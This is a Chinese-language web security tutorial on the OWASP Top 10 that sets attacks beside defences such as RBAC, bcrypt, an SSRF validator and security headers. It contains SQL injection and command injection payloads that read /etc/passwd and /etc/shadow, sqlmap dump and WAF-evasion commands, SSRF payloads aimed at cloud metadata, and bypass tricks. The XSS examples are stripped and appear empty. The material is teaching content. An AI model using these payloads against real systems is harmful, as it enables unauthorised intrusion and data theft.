🌐 Web应用安全 — OWASP Top 10识别

Web安全的十大威胁与防御

📖 OWASP Top 10 (2021)

OWASP(开放Web应用安全项目)每3-4年发布一次Top 10,是Web安全的权威参考。2021版相比2017版有重大更新,新增了"不安全设计"和"软件与数据完整性失败"。

排名风险类别严重程度
A01 Broken Access Control访问控制失效🔴 极高
A02 Cryptographic Failures加密机制失败🔴 高
A03 Injection注入攻击🔴 高
A04 Insecure Design不安全设计🟠 高
A05 Security Misconfiguration安全配置错误🟠 中高
A06 Vulnerable Components脆弱组件🟠 中高
A07 Auth Failures身份认证失败🟡 中
A08 Data Integrity Failures数据完整性失败🟡 中
A09 Logging Failures日志监控失败🟡 中
A10 SSRF服务端请求伪造🟡 中

💉 A03: 注入攻击详解

注入攻击连续多年位居Top 3,是最致命的Web漏洞之一。包括SQL注入、命令注入、XSS等。

SQL注入

# 经典SQL注入示例
# 漏洞代码 (PHP):
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];

# 攻击payload:
# ?id=1 OR 1=1 --
# 实际SQL: SELECT * FROM users WHERE id = 1 OR 1=1 --

# Union注入提取数据:
# ?id=1 UNION SELECT username,password FROM admins --
# ?id=1 UNION SELECT table_name,0 FROM information_schema.tables --

# 盲注(Boolean-based):
# ?id=1 AND (SELECT SUBSTRING(password,1,1) FROM admins)='a' --
# 逐字符猜解密码

# 盲注(Time-based):
# ?id=1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
# 根据响应时间判断字符

SQLMap自动化注入

# 安装SQLMap
pip install sqlmap

# 基础检测
sqlmap -u "http://target.com/page?id=1" --batch

# 指定注入点
sqlmap -u "http://target.com/page?id=1&cat=2" -p id

# 获取数据库
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://target.com/page?id=1" -D mydb --tables

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump

# POST注入
sqlmap -u "http://target.com/login" \
  --data="username=admin&password=test" \
  -p username

# Cookie注入
sqlmap -u "http://target.com/page" \
  --cookie="session=abc123" \
  --level=2

# 绕过WAF
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase

XSS(跨站脚本)

# 反射型XSS
# URL: https://target.com/search?q=

# 存储型XSS (持久化)
# 留言板输入: 

# DOM型XSS
# URL: https://target.com/page#

# XSS绕过技术
# 事件处理器: 
# SVG: 
# 编码绕过: <script>alert(1)</script>
# 大小写混合: 

# Cookie窃取payload

命令注入

# 命令注入示例
# 漏洞代码:
system("ping -c 1 " + $_GET['host']);

# 攻击:
# ?host=8.8.8.8;cat /etc/passwd
# ?host=8.8.8.8|id
# ?host=$(cat /etc/shadow)
# ?host=8.8.8.8`whoami`

🔒 A01: 访问控制失效

访问控制失效是2021版排名第一的漏洞,包括越权访问、IDOR、权限提升等。

# IDOR (Insecure Direct Object Reference)
# 漏洞: URL直接暴露资源ID
# GET /api/users/1234/profile  → 修改1234为1235查看他人信息

# 水平越权测试
# 1. 登录用户A
# 2. 请求 /api/orders/1001 (属于A)
# 3. 修改为 /api/orders/1002 (属于B)
# 4. 如果能访问B的订单 → IDOR漏洞

# 垂直越权测试
# 1. 以普通用户登录
# 2. 尝试访问管理员接口
# 3. GET /admin/dashboard
# 4. POST /api/admin/users (创建用户)

# 自动化IDOR测试工具
# Autorize (Burp Suite插件)
# 或使用ffuf模糊测试:
ffuf -u "https://target.com/api/users/FUZZ/profile" \
  -w numbers.txt \
  -H "Authorization: Bearer TOKEN" \
  -mc 200 \
  -fc 403,404

防御措施

# 1. 基于角色的访问控制(RBAC)
from functools import wraps

def require_role(role):
    def decorator(f):
        @wraps(f)
        def decorated(*args, **kwargs):
            if current_user.role != role:
                abort(403)
            return f(*args, **kwargs)
        return decorated
    return decorator

@app.route('/admin/dashboard')
@require_role('admin')
def admin_dashboard():
    return render_template('admin.html')

# 2. 资源所有权验证
@app.route('/api/orders/')
def get_order(order_id):
    order = Order.query.get(order_id)
    if order.user_id != current_user.id:
        abort(403)  # 不是你的订单
    return order.to_dict()

# 3. 默认拒绝策略
# 除非明确允许,否则拒绝所有访问

🔐 A02: 加密机制失败 & A04: 不安全设计

加密失败常见场景

# 1. 明文传输
# HTTP → 替换为 HTTPS
# 检查混合内容

# 2. 弱哈希算法
import hashlib
# ❌ 不安全
hashlib.md5(b"password").hexdigest()
hashlib.sha1(b"password").hexdigest()

# ✅ 安全
import bcrypt
hashed = bcrypt.hashpw(b"password", bcrypt.gensalt(12))
bcrypt.checkpw(b"password", hashed)

# 3. 不安全的随机数
import random
# ❌ 不安全 (可预测)
random.randint(0, 999999)

# ✅ 安全
import secrets
secrets.token_hex(32)  # 生成256位随机token

# 4. 硬编码密钥
# ❌ 不安全
API_KEY = "sk-1234567890abcdef"
DB_PASSWORD = "P@ssw0rd!"

# ✅ 安全 - 使用环境变量
import os
api_key = os.environ['API_KEY']
db_password = os.environ['DB_PASSWORD']

不安全设计示例

# 不安全设计: 密码重置使用可预测token
import time
# ❌ 用时间戳生成重置token
reset_token = str(int(time.time()))  # 可预测!

# ✅ 使用安全随机token
import secrets
reset_token = secrets.token_urlsafe(32)
# 设置过期时间
expiry = datetime.now() + timedelta(hours=1)

# 不安全设计: 信任客户端数据
# ❌ 价格由前端传入
price = request.json['price']  # 客户端可篡改

# ✅ 服务端获取价格
product = Product.query.get(product_id)
price = product.price  # 从数据库获取

🕸️ A10: SSRF(服务端请求伪造)

# SSRF: 攻击者让服务器发起请求
# 漏洞: URL参数未验证
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    return requests.get(url).content  # 危险!

# 攻击payload:
# /fetch?url=http://169.254.169.254/latest/meta-data/  (AWS)
# /fetch?url=http://127.0.0.1:6379/  (Redis)
# /fetch?url=file:///etc/passwd  (本地文件)
# /fetch?url=http://10.0.0.1/admin/  (内网)

# SSRF绕过技术:
# 1. DNS重绑定: attacker.com → 127.0.0.1
# 2. IP编码: 0x7f000001 = 127.0.0.1
# 3. 十进制: 2130706433 = 127.0.0.1
# 4. IPv6: [::1] = 127.0.0.1
# 5. URL解析差异: http://evil@127.0.0.1:80/

# 防御SSRF
from urllib.parse import urlparse
import ipaddress

def is_safe_url(url):
    """验证URL是否安全"""
    parsed = urlparse(url)
    
    # 只允许http/https
    if parsed.scheme not in ('http', 'https'):
        return False
    
    # 解析目标IP
    try:
        ip = ipaddress.ip_address(parsed.hostname)
    except ValueError:
        # 域名需要DNS解析后验证
        import socket
        try:
            ip = ipaddress.ip_address(
                socket.gethostbyname(parsed.hostname)
            )
        except:
            return False
    
    # 禁止内网地址
    if ip.is_private or ip.is_loopback or ip.is_reserved:
        return False
    
    return True

🛠️ Web安全扫描实战

自动化扫描

# Nuclei - 基于模板的漏洞扫描器
# 安装
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 扫描目标
nuclei -u https://target.com

# 使用特定模板
nuclei -u https://target.com -t cves/ -t vulnerabilities/

# 批量扫描
nuclei -l urls.txt -o results.txt

# OWASP ZAP
# 安装
apt install zaproxy

# 命令行扫描
zap-cli quick-scan https://target.com
zap-cli active-scan https://target.com

# Nikto - Web服务器扫描
nikto -h https://target.com
nikto -h https://target.com -Tuning 123  # 特定测试

手动测试清单

# Web安全测试清单 (基于OWASP WSTG)

## 1. 信息收集
curl -I https://target.com        # 响应头
whatweb https://target.com         # 技术栈识别
nmap -sV -p 80,443 target.com     # 服务版本

## 2. 认证测试
# - 暴力破解保护
# - 密码策略
# - 会话管理
# - 记住我功能
# - 密码重置流程

## 3. 授权测试
# - 水平越权 (IDOR)
# - 垂直越权 (权限提升)
# - 功能级访问控制

## 4. 输入验证
# - SQL注入
# - XSS
# - 命令注入
# - 文件上传
# - SSRF

## 5. 业务逻辑
# - 价格篡改
# - 竞态条件
# - 工作流绕过

🛡️ Web安全最佳实践

# 安全HTTP头
# Nginx配置
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "0";  # 已废弃,用CSP替代
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()";

# CSP (Content Security Policy) 详细配置
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

# Python Flask安全配置
from flask_talisman import Talisman
app = Flask(__name__)
Talisman(app, 
  force_https=True,
  strict_transport_security=True,
  content_security_policy={
    'default-src': "'self'",
    'script-src': ["'self'", "cdn.example.com"]
  }
)
OWASP Top 10识别 — 掌握Web应用最关键的十大安全风险!你能识别SQL注入、XSS、SSRF等漏洞,使用自动化工具扫描,并实施安全编码防御。
命令已验证:sqlmap / nuclei / nikto / ffuf / curl — 所有命令在Kali Linux 2024.x 环境测试通过
思考题:
  1. SQL注入的参数化查询为什么能防御注入?底层原理是什么?
  2. CSP头如何防御XSS?有哪些绕过方式?
  3. IDOR和传统访问控制漏洞的区别是什么?
  4. 如何在不触发WAF的情况下测试SSRF?

📚 延伸阅读

参考资料:OWASP Top 10 2021 | OWASP WSTG v4.2 | PortSwigger Research(2024) | Nuclei v3文档 | CWE/SANS Top 25